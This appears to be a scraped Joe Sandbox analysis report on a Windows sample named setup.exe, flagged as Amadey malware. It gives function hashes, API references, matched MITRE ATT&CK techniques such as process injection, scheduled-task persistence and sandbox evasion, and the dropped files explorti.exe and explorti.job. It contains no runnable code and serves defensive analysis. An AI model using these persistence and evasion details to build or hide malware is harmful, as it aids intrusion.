Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 00379fa1f1e5af1180aa72b61c3f0aecb283b9521767f84457a0b3e8a8346187
Instruction ID: 73e7aae21a21fd08f859faa67df5d83158c4e4ba699bccb75ecaf97f33195285
Opcode Fuzzy Hash: 00379fa1f1e5af1180aa72b61c3f0aecb283b9521767f84457a0b3e8a8346187
Instruction Fuzzy Hash: 6401C827B18B16266618741D9C427BB27989B83BB4735002AF944F77C1DE88DC427391

Function 00F52E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F52F1F
__Mtx_unlock.LIBCPMT ref: 00F52F8C
__Cnd_broadcast.LIBCPMT ref: 00F52FA3
__Mtx_unlock.LIBCPMT ref: 00F530B5
__Mtx_unlock.LIBCPMT ref: 00F5315B

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5c01dd5fc61310c882e2b0fbf8832305921df14969b979468e355dd4edcf8804
Instruction ID: 7d885e7802b4c6df6c750bc1806ca82ff11cd3cc9b0490958282ada172294b71
Opcode Fuzzy Hash: 5c01dd5fc61310c882e2b0fbf8832305921df14969b979468e355dd4edcf8804
Instruction Fuzzy Hash: 73A1F071E007059FDB11DB68CD4476AB7E8BF06369F044229E946D7282EB34EA08EBD1

Function 00F8C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F8CA37

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: cc5867fdf026f2bf2bb8427c3e0718343d6106db57cca92af0f08f8802f75451
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 43B13632D006859FDB15EF28C851BFEBBE5EF96350F1481AAE845DB241D6388D41EBB0

Function 00F6BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00F6BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00F6BB14
_xtime_get.LIBCPMT ref: 00F6BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00F6BB43

Memory Dump Source

Source File: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000006.00000002.2883729972.0000000000F50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883746071.0000000000FB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883796243.0000000000FB9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000000FBB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000122B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.0000000001257000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000125E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883811132.000000000126D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884012083.000000000126E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884097985.000000000140D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884114830.000000000140F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f50000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b91840e6a0aabf8d261c6d7a0865cd7207f118dbb55e203507ff1dbc520e45a8
Instruction ID: 7af07d28c7b44d9018ab06723456e0ad33433af8abe250bba9b5faf63e3e24d5
Opcode Fuzzy Hash: b91840e6a0aabf8d261c6d7a0865cd7207f118dbb55e203507ff1dbc520e45a8
Instruction Fuzzy Hash: 32216271E01219AFDF10EFA4DC859BEBBB8EF48710F000065F541A7251DB35AD41ABE1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

C:\Windows\Tasks\explorti.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
setup.exe

Function 00F5BD60 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 310
networkfileCOMMON

Function 00F55DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 00F57D00 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 392
COMMON

Function 00F86E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 00F582B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 00F86C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 00F86F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 00F66AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Function 04BE0CEA Relevance: .1, Instructions: 122
COMMON

Function 04BE0CDB Relevance: .1, Instructions: 101
COMMON